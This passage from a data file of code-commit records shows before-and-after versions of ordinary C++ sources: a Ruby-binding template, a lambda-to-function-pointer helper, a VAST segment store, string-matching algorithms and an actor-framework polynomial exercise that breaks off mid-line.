MethodParam::TYPE_ARRAY %>\n <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n if ( argc > <%= first_arg %> )\n {\n if ( rho_ruby_is_array(argv[<%= first_arg %>]) )\n getStringArrayFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n {\n oRes.setArgError(L\"Type error: argument \" L<%= \"\\\"#{first_arg}\\\"\" %> L\" should be \" L<%= \"\\\"#{param.type.downcase}\\\"\" %> );\n return oRes.toRuby();\n }\n }\n<% end %>\n\n<% if param.type == MethodParam::TYPE_HASH %>\n <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n if ( argc > <%= first_arg %> )\n {\n if ( rho_ruby_is_hash(argv[<%= first_arg %>]) )\n getStringHashFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n {\n oRes.setArgError(L\"Type error: argument \" L<%= \"\\\"#{first_arg}\\\"\" %> L\" should be \" L<%= \"\\\"#{param.type.downcase}\\\"\" %> );\n return oRes.toRuby();\n }\n }\n<% end %>\n \n<% functor_params += \"arg#{first_arg}, \" %>\n<% first_arg = first_arg+1 %>\n<% end %>\n\n if ( argc > nCallbackArg )\n {\n<% if module_method.has_callback == ModuleMethod::CALLBACK_NONE %>\n oRes.setArgError(L\"Wrong number of arguments: \" + convertToStringW(argc) + L\" instead of \" + convertToStringW(<%= module_method.params.size() %>) );\n return oRes.toRuby();\n<% end %>\n \n if ( !rho_ruby_is_string(argv[nCallbackArg]) )\n {\n oRes.setArgError(L\"Type error: callback should be String\");\n return oRes.toRuby();\n }\n\n oRes.setCallInUIThread(<%= module_method.is_run_in_ui_thread ? \"true\" : \"false\" %>);\n oRes.setRubyCallback( getStringFromValue(argv[nCallbackArg]) );\n if ( argc > nCallbackArg + 1 )\n {\n if ( !rho_ruby_is_string(argv[nCallbackArg + 1]) )\n {\n oRes.setArgError(L\"Type error: callback parameter should be String\");\n return oRes.toRuby();\n }\n\n oRes.setCallbackParam( getStringFromValue(argv[nCallbackArg + 1]) );\n }\n \n }\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( pObj, &I<%= $cur_module.name %>::<%= module_method.name %>, <%= functor_params %> oRes );\n<% else %>\n pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS(), &I<%= $cur_module.name %>Singleton::<%= module_method.name %>, <%= functor_params %> oRes );\n<% end %>\n\n<% if module_method.is_run_in_ui_thread %>\n rho_wm_impl_performOnUiThread( pFunctor );\n<% elsif module_method.is_run_in_thread %>\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );\n<% else %>\n\n if ( bUseCallback )\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );\n else\n {\n delete pFunctor;\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n pObj-><%= module_method.name %>( <%= functor_params %> oRes );\n<% else %>\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()-><%= module_method.name %>( <%= functor_params %> oRes );\n<% end %>\n\n }\n<% end %>\n\n return oRes.toRuby();\n}\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, module_method.access == ModuleMethod::ACCESS_STATIC)%>\n{\n const char* szID = rho_ruby_get_object_id( obj );\n I<%= $cur_module.name %>* pObj = C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(convertToStringW(szID));\n\n return _api_generator_<%= $cur_module.name %>_<%= module_method.name %>(argc, argv, pObj);\n}\n<% end %>\n\n<% if $cur_module.is_template_default_instance && module_method.access == ModuleMethod::ACCESS_INSTANCE%>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name + \"_def\", module_method, true)%>\n{\n rho::StringW strDefaultID = C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n I<%= $cur_module.name %>* pObj = C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(strDefaultID);\n\n return _api_generator_<%= $cur_module.name %>_<%= module_method.name %>(argc, argv, pObj);\n}\n<% end %>\n<% end %>\n\n}<|endoftext|>"} {"text":"<commit_before>#ifndef GENERIC_CIFY_HPP\n# define GENERIC_CIFY_HPP\n# pragma once\n\n#include <utility>\n\nnamespace generic\n{\n\nnamespace\n{\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I, typename L, typename R, typename ...A>\ninline F cify(L&& l, R (*)(A...) noexcept(noexcept(\n ::std::declval<F>()(::std::declval<A>()...))))\n{\n static L l_(::std::forward<L>(l));\n static bool full;\n\n if (full)\n {\n l_.~L();\n\n new (static_cast<void*>(&l_)) L(::std::forward<L>(l));\n }\n else\n {\n full = true;\n }\n\n struct S\n {\n static R f(A... args) noexcept(noexcept(\n ::std::declval<F>()(::std::forward<A>(args)...)))\n {\n return l_(::std::forward<A>(args)...);\n }\n };\n\n return &S::f;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I, typename L, typename R, typename ...A>\ninline F thread_local_cify(L&& l, R (*)(A...) noexcept(noexcept(\n ::std::declval<F>()(::std::declval<A>()...))))\n{\n static thread_local L l_(::std::forward<L>(l));\n static thread_local bool full;\n\n if (full)\n {\n l_.~L();\n\n new (static_cast<void*>(&l_)) L(::std::forward<L>(l));\n }\n else\n {\n full = true;\n }\n\n struct S\n {\n static R f(A... args) noexcept(noexcept(\n ::std::declval<F>()(::std::forward<A>(args)...)))\n {\n return l_(::std::forward<A>(args)...);\n }\n };\n\n return &S::f;\n}\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I = 0, typename L>\ninline F cify(L&& l)\n{\n return cify<F, I>(::std::forward<L>(l), F());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I = 0, typename L>\ninline F thread_local_cify(L&& l)\n{\n return thread_local_cify<F, I>(::std::forward<L>(l), F());\n}\n\n}\n\n#endif \/\/ GENERIC_CIFY_HPP\n<commit_msg>some fixes<commit_after>#ifndef GENERIC_CIFY_HPP\n# define GENERIC_CIFY_HPP\n# pragma once\n\n#include <utility>\n\nnamespace generic\n{\n\nnamespace\n{\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I, typename L, typename R, typename ...A>\ninline F cify(L&& l, R (*)(A...) noexcept(noexcept(\n ::std::declval<F>()(::std::declval<A>()...))))\n{\n static L l_(::std::forward<L>(l));\n static bool full;\n\n if (full)\n {\n l_.~L();\n\n new (static_cast<void*>(&l_)) L(::std::forward<L>(l));\n }\n else\n {\n full = true;\n }\n\n return +[](A... args) noexcept(noexcept(\n ::std::declval<F>()(::std::forward<A>(args)...)))\n {\n return l_(::std::forward<A>(args)...);\n };\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I, typename L, typename R, typename ...A>\ninline F thread_local_cify(L&& l, R (*)(A...) noexcept(noexcept(\n ::std::declval<F>()(::std::declval<A>()...))))\n{\n static thread_local L l_(::std::forward<L>(l));\n static thread_local bool full;\n\n if (full)\n {\n l_.~L();\n\n new (static_cast<void*>(&l_)) L(::std::forward<L>(l));\n }\n else\n {\n full = true;\n }\n\n return +[](A... args) noexcept(noexcept(\n ::std::declval<F>()(::std::forward<A>(args)...)))\n {\n return l_(::std::forward<A>(args)...);\n };\n}\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I = 0, typename L>\ninline F cify(L&& l)\n{\n return cify<F, I>(::std::forward<L>(l), F());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename F, int I = 0, typename L>\ninline F thread_local_cify(L&& l)\n{\n return thread_local_cify<F, I>(::std::forward<L>(l), F());\n}\n\n}\n\n#endif \/\/ GENERIC_CIFY_HPP\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * _ _____ __________ *\n * | | \/ \/ _ | \/ __\/_ __\/ Visibility *\n * | |\/ \/ __ |_\\ \\ \/ \/ Across *\n * |___\/_\/ |_\/___\/ \/_\/ Space and Time *\n * *\n * This file is part of VAST. It is subject to the license terms in the *\n * LICENSE file found in the top-level directory of this distribution and at *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file. *\n ******************************************************************************\/\n\n#include <caf\/make_counted.hpp>\n\n#include \"vast\/bitmap_algorithms.hpp\"\n#include \"vast\/error.hpp\"\n#include \"vast\/event.hpp\"\n#include \"vast\/ids.hpp\"\n#include \"vast\/load.hpp\"\n#include \"vast\/logger.hpp\"\n#include \"vast\/save.hpp\"\n#include \"vast\/segment_store.hpp\"\n\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/error.hpp\"\n#include \"vast\/concept\/printable\/vast\/filesystem.hpp\"\n#include \"vast\/concept\/printable\/vast\/uuid.hpp\"\n\n#include \"vast\/const_table_slice_handle.hpp\"\n#include \"vast\/segment_store.hpp\"\n#include \"vast\/table_slice.hpp\"\n#include \"vast\/to_events.hpp\"\n\nnamespace vast {\n\nsegment_store_ptr segment_store::make(caf::actor_system& sys, path dir,\n size_t max_segment_size,\n size_t in_memory_segments) {\n VAST_ASSERT(max_segment_size > 0);\n auto x = caf::make_counted<segment_store>(\n sys, std::move(dir), max_segment_size, in_memory_segments);\n \/\/ Materialize meta data of existing segments.\n if (exists(x->meta_path()))\n if (auto result = load(x->meta_path(), x->segments_); !result) {\n VAST_ERROR(\"failed to unarchive meta data:\", to_string(result.error()));\n return nullptr;\n }\n return x;\n}\n\nsegment_store::~segment_store() {\n \/\/ nop\n}\n\ncaf::error segment_store::put(const_table_slice_handle xs) {\n if (auto error = builder_.add(xs))\n return error;\n if (!segments_.inject(xs->offset(), xs->offset() + xs->rows(), builder_.id()))\n return make_error(ec::unspecified, \"failed to update range_map\");\n if (builder_.table_slice_bytes() < max_segment_size_)\n return caf::none;\n \/\/ We have exceeded our maximum segment size and now finish\n auto x = builder_.finish();\n if (!x)\n return x.error();\n auto seg_ptr = *x;\n if (!exists(segment_path()))\n if (auto result = mkdir(segment_path()); !result)\n return result.error();\n auto filename = segment_path() \/ to_string(seg_ptr->id());\n if (auto result = save(filename, seg_ptr); !result)\n return result.error();\n VAST_DEBUG(\"wrote new segment to\", filename.trim(-3));\n \/\/ Keep new segment in the cache.\n cache_.emplace(seg_ptr->id(), seg_ptr);\n return flush();\n}\n\ncaf::error segment_store::flush() {\n auto result = save(meta_path(), segments_);\n return result ? caf::none : result.error();\n}\n\ncaf::expected<std::vector<const_table_slice_handle>>\nsegment_store::get(const ids& xs) {\n \/\/ Collect candidate segments by seeking through the ID set and\n \/\/ probing each ID interval.\n std::vector<const uuid*> candidates;\n auto f = [](auto x) { return std::pair{x.left, x.right}; };\n auto g = [&](auto x) {\n auto ptr = &x.value;\n if (candidates.empty() || candidates.back() != ptr)\n candidates.push_back(ptr);\n return caf::none;\n };\n auto begin = segments_.begin();\n auto end = segments_.end();\n if (auto error = traverse(xs, begin, end, f, g))\n return error;\n \/\/ Process candidates in reverse order for maximum LRU cache hits.\n std::vector<const_table_slice_handle> result;\n VAST_DEBUG(\"processing\", candidates.size(), \"candidates\");\n for (auto cand = candidates.rbegin(); cand != candidates.rend(); ++cand) {\n auto& id = **cand;\n caf::expected<std::vector<const_table_slice_handle>> slices{caf::no_error};\n if (id == builder_.id()) {\n VAST_DEBUG(\"looking into builder\");\n slices = builder_.lookup(xs);\n } else {\n segment_ptr seg_ptr = nullptr;\n auto i = cache_.find(id);\n if (i != cache_.end()) {\n VAST_DEBUG(\"got cache hit for segment\", id);\n seg_ptr = i->second;\n } else {\n VAST_DEBUG(\"got cache miss for segment\", id);\n if (auto res = load(segment_path() \/ to_string(id), seg_ptr); !res)\n return res.error();\n i = cache_.emplace(id, seg_ptr).first;\n }\n VAST_ASSERT(seg_ptr != nullptr);\n slices = seg_ptr->lookup(xs);\n }\n if (!slices)\n return slices.error();\n result.reserve(result.size() + slices->size());\n result.insert(result.end(), slices->begin(), slices->end());\n }\n return result;\n}\n\nsegment_store::segment_store(caf::actor_system& sys, path dir,\n uint64_t max_segment_size, size_t in_memory_segments)\n : actor_system_{sys},\n dir_{std::move(dir)},\n max_segment_size_{max_segment_size},\n cache_{in_memory_segments},\n builder_{actor_system_} {\n \/\/ nop\n}\n\n} \/\/ namespace vast\n<commit_msg>Log serialization error<commit_after>\/******************************************************************************\n * _ _____ __________ *\n * | | \/ \/ _ | \/ __\/_ __\/ Visibility *\n * | |\/ \/ __ |_\\ \\ \/ \/ Across *\n * |___\/_\/ |_\/___\/ \/_\/ Space and Time *\n * *\n * This file is part of VAST. It is subject to the license terms in the *\n * LICENSE file found in the top-level directory of this distribution and at *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file. *\n ******************************************************************************\/\n\n#include <caf\/make_counted.hpp>\n\n#include \"vast\/bitmap_algorithms.hpp\"\n#include \"vast\/error.hpp\"\n#include \"vast\/event.hpp\"\n#include \"vast\/ids.hpp\"\n#include \"vast\/load.hpp\"\n#include \"vast\/logger.hpp\"\n#include \"vast\/save.hpp\"\n#include \"vast\/segment_store.hpp\"\n\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/error.hpp\"\n#include \"vast\/concept\/printable\/vast\/filesystem.hpp\"\n#include \"vast\/concept\/printable\/vast\/uuid.hpp\"\n\n#include \"vast\/const_table_slice_handle.hpp\"\n#include \"vast\/segment_store.hpp\"\n#include \"vast\/table_slice.hpp\"\n#include \"vast\/to_events.hpp\"\n\nnamespace vast {\n\nsegment_store_ptr segment_store::make(caf::actor_system& sys, path dir,\n size_t max_segment_size,\n size_t in_memory_segments) {\n VAST_ASSERT(max_segment_size > 0);\n auto x = caf::make_counted<segment_store>(\n sys, std::move(dir), max_segment_size, in_memory_segments);\n \/\/ Materialize meta data of existing segments.\n if (exists(x->meta_path()))\n if (auto result = load(x->meta_path(), x->segments_); !result) {\n VAST_ERROR(\"failed to unarchive meta data:\", to_string(result.error()));\n return nullptr;\n }\n return x;\n}\n\nsegment_store::~segment_store() {\n \/\/ nop\n}\n\ncaf::error segment_store::put(const_table_slice_handle xs) {\n if (auto error = builder_.add(xs))\n return error;\n if (!segments_.inject(xs->offset(), xs->offset() + xs->rows(), builder_.id()))\n return make_error(ec::unspecified, \"failed to update range_map\");\n if (builder_.table_slice_bytes() < max_segment_size_)\n return caf::none;\n \/\/ We have exceeded our maximum segment size and now finish\n auto x = builder_.finish();\n if (!x)\n return x.error();\n auto seg_ptr = *x;\n if (!exists(segment_path()))\n if (auto result = mkdir(segment_path()); !result)\n return result.error();\n auto filename = segment_path() \/ to_string(seg_ptr->id());\n if (auto result = save(filename, seg_ptr); !result)\n return result.error();\n VAST_DEBUG(\"wrote new segment to\", filename.trim(-3));\n \/\/ Keep new segment in the cache.\n cache_.emplace(seg_ptr->id(), seg_ptr);\n return flush();\n}\n\ncaf::error segment_store::flush() {\n auto result = save(meta_path(), segments_);\n return result ? caf::none : result.error();\n}\n\ncaf::expected<std::vector<const_table_slice_handle>>\nsegment_store::get(const ids& xs) {\n \/\/ Collect candidate segments by seeking through the ID set and\n \/\/ probing each ID interval.\n std::vector<const uuid*> candidates;\n auto f = [](auto x) { return std::pair{x.left, x.right}; };\n auto g = [&](auto x) {\n auto ptr = &x.value;\n if (candidates.empty() || candidates.back() != ptr)\n candidates.push_back(ptr);\n return caf::none;\n };\n auto begin = segments_.begin();\n auto end = segments_.end();\n if (auto error = traverse(xs, begin, end, f, g))\n return error;\n \/\/ Process candidates in reverse order for maximum LRU cache hits.\n std::vector<const_table_slice_handle> result;\n VAST_DEBUG(\"processing\", candidates.size(), \"candidates\");\n for (auto cand = candidates.rbegin(); cand != candidates.rend(); ++cand) {\n auto& id = **cand;\n caf::expected<std::vector<const_table_slice_handle>> slices{caf::no_error};\n if (id == builder_.id()) {\n VAST_DEBUG(\"looking into builder\");\n slices = builder_.lookup(xs);\n } else {\n segment_ptr seg_ptr = nullptr;\n auto i = cache_.find(id);\n if (i != cache_.end()) {\n VAST_DEBUG(\"got cache hit for segment\", id);\n seg_ptr = i->second;\n } else {\n VAST_DEBUG(\"got cache miss for segment\", id);\n if (auto res = load(segment_path() \/ to_string(id), seg_ptr); !res) {\n VAST_ERROR(\"unable to load segment:\", res.error());\n return res.error();\n }\n i = cache_.emplace(id, seg_ptr).first;\n }\n VAST_ASSERT(seg_ptr != nullptr);\n slices = seg_ptr->lookup(xs);\n }\n if (!slices)\n return slices.error();\n result.reserve(result.size() + slices->size());\n result.insert(result.end(), slices->begin(), slices->end());\n }\n return result;\n}\n\nsegment_store::segment_store(caf::actor_system& sys, path dir,\n uint64_t max_segment_size, size_t in_memory_segments)\n : actor_system_{sys},\n dir_{std::move(dir)},\n max_segment_size_{max_segment_size},\n cache_{in_memory_segments},\n builder_{actor_system_} {\n \/\/ nop\n}\n\n} \/\/ namespace vast\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Z-functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n#include <iostream>\n#include <string>\n#include <vector>\n\nusing namespace std;\n\n\/\/ z-functions: return z, z[i] is the length of the longest substring\n\/\/ starting from S[i] which is also a prefix of S\n\nvector<int> get_ZFunction(string s){\n int len = s.length();\n vector<int> z(len);\n int L = 0, R = 0;\n for(int i = 1; i < len; i++ ){\n if (i > R){\n L = R = i;\n while (R < len && s[R-L] == s[R]) R++;\n z[i] = R - L; R--;\n } else {\n int k = i - L;\n if(z[k] < R - i + 1) z[i] = z[k];\n else {\n L = i;\n while (R < len && s[R - L] == s[R]) R++;\n z[i] = R - L; R--;\n }\n }\n }\n z[0] = len;\n return z;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Knuth-Morris-Pratt\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/* \n Searches for the string w in the string s (of length k). Returns the \n 0-based index of the first match (k if no match is found). Algorithm \n runs in O(k) time. \n*\/ \n\n#include <cassert>\n\nusing namespace std;\ntypedef vector<int> VI;\n\nclass KnuthMorrisPratt {\npublic:\n void build_table(string& w, VI& t){\n int sz = w.size();\n t = VI(sz);\n int i = 2, j = 0;\n t[0] = -1; t[1] = 0;\n while (i < sz) {\n if (w[i - 1] == w[j]) { t[i] = j + 1; i++; j++; }\n else if (j > 0) j = t[j];\n else { t[i] = 0; i++; }\n }\n }\n\n \/\/ returh the index of the first match, or the length of s if w is not found\n int KMP(string s, string w){\n int m = 0, i = 0;\n VI t;\n build_table(w, t);\n int sz_s = s.size();\n int sz_w = w.size();\n while (m+i < sz_s) {\n if (w[i] == s[m+i]) {\n i++;\n if (i == sz_w) return m;\n } else {\n m += i - t[i];\n if (i > 0) i = t[i];\n }\n }\n return s.length();\n }\n};\n\nint main(){\n KnuthMorrisPratt solve;\n assert(solve.KMP(\"win\", \"I wanna win.\") == 3);\n assert(solve.KMP(\"I wanna win.\", \"win\") == 8);\n return 0;\n} \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Prefix Function\n\/\/ Given a string. Return an array of numbers, \n\/\/ where is defined as follows: it is a maximum length of the longest \n\/\/ proper suffix substring that matches the prefix (suffix own - so not \n\/\/ the entire line). In particular, the value is set equal to zero.\n\/\/ For example, the string \"abcabcd\" prefix function is: [1, 0, 0, 1, 2, 3, 0]\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvector<int> prefix_function (string s){\n int n = (int) s.length();\n vector<int> pi (n);\n for (int i=1; i<n; ++i){\n int j = pi[i-1];\n while (j > 0 && s[i] != s[j])\n j = pi[j-1];\n if (s[i] == s[j]) ++j;\n pi[i] = j;\n }\n return pi;\n}\n<commit_msg>Update StringMatching.cpp<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Z-functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n#include <iostream>\n#include <string>\n#include <vector>\n\nusing namespace std;\n\n\/\/ z-functions: return z, z[i] is the length of the longest substring\n\/\/ starting from S[i] which is also a prefix of S\n\nvector<int> get_ZFunction(string s){\n int len = s.length();\n vector<int> z(len);\n int L = 0, R = 0;\n for(int i = 1; i < len; i++ ){\n if (i > R){\n L = R = i;\n while (R < len && s[R-L] == s[R]) R++;\n z[i] = R - L; R--;\n } else {\n int k = i - L;\n if(z[k] < R - i + 1) z[i] = z[k];\n else {\n L = i;\n while (R < len && s[R - L] == s[R]) R++;\n z[i] = R - L; R--;\n }\n }\n }\n z[0] = len;\n return z;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Knuth-Morris-Pratt\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/* \n Searches for the string key in the string s (of length k). Returns the \n 0-based index of the first match (k if no match is found). Algorithm \n runs in O(k) time. \n*\/ \n\n#include <cassert>\n\nusing namespace std;\ntypedef vector<int> VI;\n\nclass KnuthMorrisPratt {\npublic:\n void build_table(string& key, VI& t){\n int sz = key.size();\n t = VI(sz);\n int i = 2, j = 0;\n t[0] = -1; t[1] = 0;\n while (i < sz) {\n if (key[i - 1] == key[j]) { t[i] = j + 1; i++; j++; }\n else if (j > 0) j = t[j];\n else { t[i] = 0; i++; }\n }\n }\n\n \/\/ return the index of the first match, or the length of s if key is not found\n int KMP(string s, string key){\n int m = 0, i = 0;\n VI t;\n build_table(key, t);\n int sz_s = s.size();\n int sz_w = key.size();\n while (m+i < sz_s) {\n if (key[i] == s[m+i]) {\n i++;\n if (i == sz_w) return m;\n } else {\n m += i - t[i];\n if (i > 0) i = t[i];\n }\n }\n return s.length();\n }\n};\n\nint main(){\n KnuthMorrisPratt solve;\n assert(solve.KMP(\"win\", \"I wanna win.\") == 3);\n assert(solve.KMP(\"I wanna win.\", \"win\") == 8);\n return 0;\n} \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Prefix Function\n\/\/ Given a string. Return an array of numbers, \n\/\/ where is defined as follows: it is a maximum length of the longest \n\/\/ proper suffix substring that matches the prefix (suffix own - so not \n\/\/ the entire line). In particular, the value is set equal to zero.\n\/\/ For example, the string \"abcabcd\" prefix function is: [1, 0, 0, 1, 2, 3, 0]\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvector<int> prefix_function (string s){\n int n = (int) s.length();\n vector<int> pi (n);\n for (int i=1; i<n; ++i){\n int j = pi[i-1];\n while (j > 0 && s[i] != s[j])\n j = pi[j-1];\n if (s[i] == s[j]) ++j;\n pi[i] = j;\n }\n return pi;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ C++ Actor Framework Exercices\n\/\/ Christian Schirin, 2017-05-17\n\/\/ Exercise 1: Polynomial Evaluator\n#include <string>\n#include <iostream>\n\n#include \"caf\/all.hpp\"\n\nusing std::endl;\nusing std::string;\n\nusing namespace caf;\n\n\/\/ Type Aliases \nusing calc_atom = atom_constant<atom(\"calc\")>;\n\nbehavior polynomial(std::array<double, 5> as) {\n\treturn {\n\t\t[=](const calc_atom& _calc, const double x) -> double {\n\t\t\/\/ Evaluate the polynomial.\n\t\t\/\/ The accumulator variable\n\t\tdouble result = 0;\n\t\t\/\/ x^4, x^3, x^2, x^1, x^0\n\t\tdouble exponent = as.size() - 1; \/\/ this is at generalized as it gets, it would also work for polynomials with a degree that is not 4.\n\t\t\/\/ We are doing this with a for loop because C++11 doesn't support fold\n\t\tfor (double a : as) { \n\t\t\tresult += a * std::pow(x, exponent); \/\/how does pow behave at x^0? \/\/ Apparently it returns 1.\n\t\t\texponent -= 1;\n\t\t}\n\t\treturn result;\n\t}\n\t};\n}\n\n\n\nint main() {\n\t\/\/ our CAF environment\n\tactor_system_config cfg;\n\tactor_system system{ cfg };\n\n\tstd::array<double, 5> as;\n\n\n\tscoped_actor self{ system };\n\n\t\/\/ system will wait until both actors are destroyed before leaving main\n\tstd::cout << std::pow(0, 0) << 